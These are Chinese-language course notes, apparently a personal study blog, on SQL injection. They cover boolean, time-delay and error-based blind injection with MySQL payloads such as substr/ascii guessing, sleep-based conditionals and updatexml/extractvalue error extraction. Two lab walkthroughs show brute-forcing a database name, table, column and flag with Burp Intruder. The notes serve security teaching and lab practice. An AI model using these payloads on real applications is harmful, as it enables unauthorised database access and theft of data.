0%

第56天-SQL注入&增删改查&盲注&延时&布尔&报错&有无回显&错误处理&审计复盘

这节课其实是很简单的,整个过程会很费时间,我下面可能只会写大概过程,而且一般都是判断存在sql注入,我们就用sqlmap了。我之前手写过一份很全的笔记,等回学校上传

演示案例:

➢ WEB攻防-SQL注入-布尔&延时&报错&盲注

在不能使用union联合注入的时候我们就考虑盲注,分为时间、布尔、报错注入,时间盲注是万能注入(前提是没waf和过滤sleep的前提下)。这些报错都是通过一些主要函数和辅助函数来实现注入的,

#增删改查

1、功能:数据查询

查询:SELECT*FROM news where id=$id

2、功能:新增用户,添加新闻等

增加:INSERTINTO news (字段名)VALUES(数据)

3、功能:删除用户,删除新闻等

删除:DELETEFROM news WHERE id=$id

4、功能:修改用户,修改文章等

修改:UPDATE news SET id=$id

#布尔&报错&延迟

盲注就是在注入过程中,获取的数据不能回显至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断

ascii,left,ord,mid这些就是可能用到的函数

思路就是我们通过判断来先猜长度,然后猜名字(库、表、字段)

用select举例:select * from 表 where 字段=’-1’ and length(database())=x #判断数据库名长度

然后通过substr或者ord等函数来判断名字是什么,表字段也是一样

and length(database())=7;

andleft(database(),1)=’p’;

andleft(database(),2)=’pi’;

and substr(database(),1,1)=’p’;

and substr(database(),2,1)=’i’;

and ord(left(database(),1))=112;

2、基于时间的SQL盲注-延时判断

if判断就是和编程语言一个含义

sleep(a,b,c),a为条件,a成功返回b,反之返回c

这个也是一样只是这个是通过响应时间来判断的

and sleep(1);

and if(1>2,sleep(1),0);

and if(1<2,sleep(1),0);

3、基于报错的SQL盲注-报错回显

floor(已过时,高版本mysql限制)

updatexml(xml文档, xpath路径, 替换后的新内容)

extractvalue(xml文档,xpath路径)

updatexml(1,concat(0x7e,(select database()),0x7e),1)

extractvalue(1,concat(0x7e,(select database()),0x7e))

主要是第二个参数内容不合法导致的报错,报错的同时就把中间的内容执行了,所以写我们想查询相关信息的sql语句

参考:

if(条件,5,0) #条件成立 返回5 反之 返回0

sleep(5) #SQL语句延时执行5秒

mid=substr=substring #mid(a,b,c)#从位置b开始,截取a字符串的c位

left(database(),1),database()当前数据库 #left(a,b)从左侧截取a的前b位

length(database())=8 #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

参考:

https://www.jianshu.com/p/bc35f8dd4f7c

https://www.cnblogs.com/impulse-/p/14227189.html

#使用条件

基于延时:都不需要

and if(1=1,sleep(5),0)

基于布尔:有真假判断标准,比如返回页面不同,数据包长度等

and length(database())=6

基于报错:页面能返回报错信息

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

这里是我之前学sql注入打布尔盲注的笔记

布尔盲注一:

什么是布尔盲注:

当目标往回走哪满足一下情况是,就会用到布尔盲注

1、执行查询后,页面不直接显示查询结果(没有回显位)

2、但会根据SQL语句的真假,返回两种不同状态:

条件为真——>页面正常显示(比如返回”查询成功”)

条件为假——>页面异常/显示错误/返回空结果

布尔盲注的核心,就是用mysql函数把数据拆成单个字符,在通过条件判断猜解

常用mysql函数

length(str)返回字符串的长度

substr/substring/mid(str,pos,len)从字符串指定位置截取指定长度的子串,从1开始。

ascii(str)返回字符串第一个字符的ascii码

1、使用 1 and length(database())=17结果正确可以知道数据库长度为17,使用bp会节省时间

2、使用1 and substr(database(),1,1)=’s’ 使用字典爆破,替换1和s,爆破模式一定要选cluster bomb(笛卡尔积爆破),得到数据库名sql_injection_lab,这里犯了一个错,数据库名是不区分大小写的,我在字典中把字母大写小写全加进去了。

3、判断表中内容是否存在,爆破表名、列名

1 and(select count(*) from information_schema.tables where table_schema=’sql_injection_lab’ and table_name=’flag’)=1

count(*)是mysql 中的聚合函数,作用是统计行数

结果是存在这个表

1 and(select count(*) from information_schema.columns where table_schema=’sql_injection_lab’ and table_name=’flag’ and column_name=’flag’)=1

结果是存在这个字段

4、用bp来判断flag多长

1 and length((select flag from sql_injection_lab.flag limit 1))=1

必须两个括号,要不然不会执行里面的语句

limit 1 避免返回多行数据报错,强制返回第一条数据

1 and substr((select flag from sql_injection_lab.flag limit 1),1,1 ))=’f’

5、爆破flag,还是使用bp1 and substr((select flag from sql_injection_lab.flag limit 1),1,1 )=’f’替换f和1

flag{dab67f7239}

布尔盲注二:

这里有个坑:

我们输入1显示正常,输入1 and 1=1显示正常,输入1 and 1=2还显示正常,这就很不正常了,说明我们后面的and ….根本就没被执行,为什么会出现这种情况呢,大概率是id传入的值被引号包裹了,数字执行还是数字,但是跟了and…就被识别成字符串了,mysql的特殊规则是,字符串和数字比较时,会把字符串转成数字,转换规则是:从字符串开头开始,一直读到给数字字符为止,后面的内容全部被丢弃

1、输入1为true,1’为false,1’ and 1=1#为false,1’ and 1=1–为false,就可以看出注释符不生效,所以我们需要手动闭合,输入1’’发现为true,这里为什么为true呢,因为 id=’1’’’,第一个’是开始,后面连续两个’转义为一个’文本,第四个‘为结束。只有在字符串内部的两个单引号才会被转义

空字符串’’等价于false,所以向要1 and 1=2为false,就得1’ and 1=2 or ‘这样写

1’ and length(database())=1 or ‘结合bp来判断数据库名长度为17

2、用bp intruder模块暴力破解数据库名字

把数据库名拼接一下:sql_injection_lab

3、我猜测这个数据库下肯定有一个flag表,判断:

1’ and (select count(*) from information_schema.tables where table_schema = ‘sql_injection_lab’ and table_name=’flag’)=1 or ‘

4、我猜测flag表里面肯定有一个flag字段:判断

1’ and (select count(*) from information_schema.columns where column_name=’flag’ and table_name=’flag’)=1 or ‘成功

1’ and (select count(*) from information_schema.columns where column_name=’flag’)=1 or ‘失败,这个含义是这个数据库中所有表中的flag字段,他可能不止一个flag

5、判断flag表中flag字段值的长度

1’ and length((select flag from sql_injection_lab.flag limit 1))=1 or’

结果是38

6、爆破flag

1’ and substr((select flag from sql_injection_lab.flag limit 1),1,1)=’f’ or ‘

flag{24dd1d4e93f841daae53cf4ad34d7562}